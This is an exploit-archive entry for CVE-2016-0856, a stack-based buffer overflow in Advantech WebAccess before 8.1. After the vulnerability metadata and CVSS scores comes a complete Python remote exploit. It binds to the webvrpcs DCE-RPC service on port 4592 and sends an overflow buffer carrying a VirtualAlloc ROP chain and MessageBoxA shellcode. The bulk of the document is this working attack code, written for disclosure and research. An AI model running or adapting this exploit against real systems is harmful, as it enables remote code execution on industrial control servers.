Advantech WebAccess < 8.1 webvrpcs DrawSrv.dll Path BwBuildPath Stack-Based Buffer Overflow

2018.03.31
Credit: Chris Lyne
Risk: High
Local: Yes
Remote: No
CWE: CWE-119


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

#!/usr/bin/python2.7 # Exploit Title: Advantech WebAccess < 8.1 webvrpcs DrawSrv.dll Path BwBuildPath Stack-Based Buffer Overflow RCE # Date: 03-29-2018 # Exploit Author: Chris Lyne (@lynerc) # Vendor Homepage: www.advantech.com # Software Link: http://advcloudfiles.advantech.com/web/Download/webaccess/8.0/AdvantechWebAccessUSANode8.0_20150816.exe # Version: Advantech WebAccess 8.0-2015.08.16 # Tested on: Windows Server 2008 R2 Enterprise 64-bit # CVE : CVE-2016-0856 # See Also: https://www.zerodayinitiative.com/advisories/ZDI-16-093/ import sys, struct from impacket import uuid from impacket.dcerpc.v5 import transport def call(dce, opcode, stubdata): dce.call(opcode, stubdata) res = -1 try: res = dce.recv() except Exception, e: print "Exception encountered..." + str(e) sys.exit(1) return res if len(sys.argv) != 2: print "Provide only host arg" sys.exit(1) port = 4592 interface = "5d2b62aa-ee0a-4a95-91ae-b064fdb471fc" version = "1.0" host = sys.argv[1] string_binding = "ncacn_ip_tcp:%s" % host trans = transport.DCERPCTransportFactory(string_binding) trans.set_dport(port) dce = trans.get_dce_rpc() dce.connect() print "Binding..." iid = uuid.uuidtup_to_bin((interface, version)) dce.bind(iid) print "...1" stubdata = struct.pack("<III", 0x00, 0xc351, 0x04) call(dce, 2, stubdata) print "...2" stubdata = struct.pack("<I", 0x02) res = call(dce, 4, stubdata) if res == -1: print "Something went wrong" sys.exit(1) res = struct.unpack("III", res) if (len(res) < 3): print "Received unexpected length value" sys.exit(1) print "...3" # MessageBoxA() Shellcode # Credit: https://www.exploit-db.com/exploits/40245/ shellcode = ("\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x48\x10\x31\xdb\x8b\x59\x3c\x01\xcb\x8b\x5b\x78\x01\xcb\x8b\x73\x20\x01\xce\x31\xd2\x42\xad\x01\xc8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x73\x1c\x01\xce\x8b\x14\x96\x01\xca\x89\xd6\x89\xcf\x31\xdb\x53\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x51\xff\xd2\x83\xc4\x10\x31\xc9\x68\x6c\x6c\x42\x42\x88\x4c\x24\x02\x68\x33\x32\x2e\x64\x68\x75\x73\x65\x72\x54\xff\xd0\x83\xc4\x0c\x31\xc9\x68\x6f\x78\x41\x42\x88\x4c\x24\x03\x68\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x54\x50\xff\xd6\x83\xc4\x0c\x31\xd2\x31\xc9\x52\x68\x73\x67\x21\x21\x68\x6c\x65\x20\x6d\x68\x53\x61\x6d\x70\x8d\x14\x24\x51\x68\x68\x65\x72\x65\x68\x68\x69\x20\x54\x8d\x0c\x24\x31\xdb\x43\x53\x52\x51\x31\xdb\x53\xff\xd0\x31\xc9\x68\x65\x73\x73\x41\x88\x4c\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x8d\x0c\x24\x51\x57\xff\xd6\x31\xc9\x51\xff\xd0") def create_rop_chain(): rop_gadgets = [ 0x0704ac03, # XOR EAX,EAX # RETN ** [BwPAlarm.dll] eax = 0 0x0706568c, # XOR EDX,EDX # RETN ** [BwPAlarm.dll] edx = 0 0x0702455b, # ADD EAX,40 # RETN ** [BwPAlarm.dll] ** eax = 0x40 0x0702823d, # PUSH EAX # ADD BYTE PTR DS:[ESI],7 # MOV DWORD PTR DS:[7070768],0 # POP ECX # RETN # ecx = 0x40 ] for i in range(0, 63): rop_gadgets.append(0x0702455b) # ADD EAX,40 # RETN ** [BwPAlarm.dll] ** # eax = 0x1000 rop_gadgets += [ 0x0702143d, # ADD EDX,EAX # ADD AL,0 # AND EAX,0FF # RETN 0x04 ** [BwPAlarm.dll] # edx = eax # edx = 0x1000 0x07065b7b, # POP EDI # RETN [BwPAlarm.dll] 0x41414141, 0x07059581, # RETN (ROP NOP) [BwPAlarm.dll] # edi = RETN 0x0705ddfd, # POP EAX # RETN [BwPAlarm.dll] 0x0201e104, # ptr to &VirtualAlloc() [IAT BwKrlAPI.dll] 0x070630eb, # MOV EAX,DWORD PTR DS:[EAX] # RETN [BwPAlarm.dll] 0x070488f7, # PUSH EAX # MOV EAX,DWORD PTR DS:[EDX*4+7068548] # AND EAX,ESI # POP ESI # POP EBX # RETN # esi -> PTR to VirtualAlloc 0xFFFFFFFF # ebx = -1 ] for i in range(0, len(shellcode)+1): rop_gadgets.append(0x0703e116) # INC EBX # MOV AX,10 # RETN ** [BwPAlarm.dll] # ebx = size of shellcode rop_gadgets += [ 0x070441d1, # POP EBP # RETN [BwPAlarm.dll] 0x0703fe39, # POINTER INC ECX # PUSH ESP # RETN ** [BwPAlarm.dll] ** # ebp -> Return to ESP 0x0705ddfd, # POP EAX # RETN [BwPAlarm.dll] ------ Modified by me 0x90909090, # nop # eax = 0x90909090 0x07010f5c # PUSHAD # RETN [BwPAlarm.dll] ] return ''.join(struct.pack('<I', _) for _ in rop_gadgets) # construct buffer buf = "A"*379 buf += "\x33\xb7\x01\x07" # 0701b733 RETN buf += create_rop_chain() buf += shellcode # ioctl 0x278E stubdata = struct.pack("<IIII", res[2], 0x278E, len(buf), len(buf)) fmt = "<" + str(len(buf)) + "s" stubdata += struct.pack(fmt, buf) print "\nDid it work?" call(dce, 1, stubdata) dce.disconnect()


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